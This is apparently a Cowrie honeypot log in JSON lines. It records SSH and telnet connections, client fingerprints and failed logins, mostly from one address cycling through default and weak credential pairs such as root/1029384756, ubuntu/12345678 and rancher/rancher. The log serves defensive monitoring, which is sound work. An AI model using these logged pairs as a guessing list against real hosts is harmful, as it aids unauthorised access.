{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:59.464249Z","src_ip":"45.153.34.114","session":"ccaf84ea4f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:59.551831Z","src_ip":"45.153.34.114","session":"ccaf84ea4f1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:59.812036Z","src_ip":"45.153.34.114","session":"ccaf84ea4f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:00.897774Z","src_ip":"45.153.34.114","session":"ccaf84ea4f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.704031229019165,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:01.487949Z","src_ip":"74.91.213.120","session":"1bd08dcaf373","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.532753229141235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:05.639540Z","src_ip":"74.91.213.120","session":"4f0241f7c5ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50072,"dst_ip":"159.203.135.109","dst_port":22,"session":"1632f349940b","protocol":"ssh","message":"New connection: 45.153.34.114:50072 (159.203.135.109:22) [session: 1632f349940b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:07.669748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:07.674703Z","src_ip":"45.153.34.114","session":"1632f349940b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:07.762209Z","src_ip":"45.153.34.114","session":"1632f349940b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1029384756","message":"login attempt [root/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:08.024453Z","src_ip":"45.153.34.114","session":"1632f349940b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:09.114939Z","src_ip":"45.153.34.114","session":"1632f349940b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":53966,"dst_ip":"159.203.135.109","dst_port":22,"session":"15d4e5d0fd4e","protocol":"ssh","message":"New connection: 45.153.34.114:53966 (159.203.135.109:22) [session: 15d4e5d0fd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:15.765552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:15.770659Z","src_ip":"45.153.34.114","session":"15d4e5d0fd4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:15.859800Z","src_ip":"45.153.34.114","session":"15d4e5d0fd4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:16.136260Z","src_ip":"45.153.34.114","session":"15d4e5d0fd4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:17.222685Z","src_ip":"45.153.34.114","session":"15d4e5d0fd4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.190078496932983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:20.071146Z","src_ip":"74.91.213.120","session":"615200231b0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":35240,"dst_ip":"159.203.135.109","dst_port":22,"session":"72f6a322b77a","protocol":"ssh","message":"New connection: 45.153.34.114:35240 (159.203.135.109:22) [session: 72f6a322b77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:23.693848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:23.701352Z","src_ip":"45.153.34.114","session":"72f6a322b77a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:23.790187Z","src_ip":"45.153.34.114","session":"72f6a322b77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:24.047881Z","src_ip":"45.153.34.114","session":"72f6a322b77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:25.158037Z","src_ip":"45.153.34.114","session":"72f6a322b77a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.85.103.114","src_port":46246,"dst_ip":"159.203.135.109","dst_port":23,"session":"81a872b8121c","protocol":"telnet","message":"New connection: 223.85.103.114:46246 (159.203.135.109:23) [session: 81a872b8121c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:29.747746Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":52164,"dst_ip":"159.203.135.109","dst_port":22,"session":"322b250701a0","protocol":"ssh","message":"New connection: 45.153.34.114:52164 (159.203.135.109:22) [session: 322b250701a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:31.972950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:31.977413Z","src_ip":"45.153.34.114","session":"322b250701a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:32.064114Z","src_ip":"45.153.34.114","session":"322b250701a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:32.392278Z","src_ip":"45.153.34.114","session":"322b250701a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:33.478388Z","src_ip":"45.153.34.114","session":"322b250701a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42754,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eef2a442817","protocol":"ssh","message":"New connection: 45.153.34.114:42754 (159.203.135.109:22) [session: 5eef2a442817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:39.550533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:39.555158Z","src_ip":"45.153.34.114","session":"5eef2a442817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:39.639687Z","src_ip":"45.153.34.114","session":"5eef2a442817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:39.977288Z","src_ip":"45.153.34.114","session":"5eef2a442817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:41.069226Z","src_ip":"45.153.34.114","session":"5eef2a442817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42764,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e8bec24219b","protocol":"ssh","message":"New connection: 45.153.34.114:42764 (159.203.135.109:22) [session: 3e8bec24219b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:47.508561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:47.512637Z","src_ip":"45.153.34.114","session":"3e8bec24219b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:47.608799Z","src_ip":"45.153.34.114","session":"3e8bec24219b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:47.867073Z","src_ip":"45.153.34.114","session":"3e8bec24219b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:48.963155Z","src_ip":"45.153.34.114","session":"3e8bec24219b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":54404,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d9953e4b1ce","protocol":"ssh","message":"New connection: 45.153.34.114:54404 (159.203.135.109:22) [session: 1d9953e4b1ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:54.996347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:55.001138Z","src_ip":"45.153.34.114","session":"1d9953e4b1ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:55.089187Z","src_ip":"45.153.34.114","session":"1d9953e4b1ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:55.401960Z","src_ip":"45.153.34.114","session":"1d9953e4b1ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:52:56.489639Z","src_ip":"45.153.34.114","session":"1d9953e4b1ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":50762,"dst_ip":"159.203.135.109","dst_port":22,"session":"597d474d9af9","protocol":"ssh","message":"New connection: 45.153.34.114:50762 (159.203.135.109:22) [session: 597d474d9af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:02.710401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:53:02.715734Z","src_ip":"45.153.34.114","session":"597d474d9af9","protocol":"ssh"}
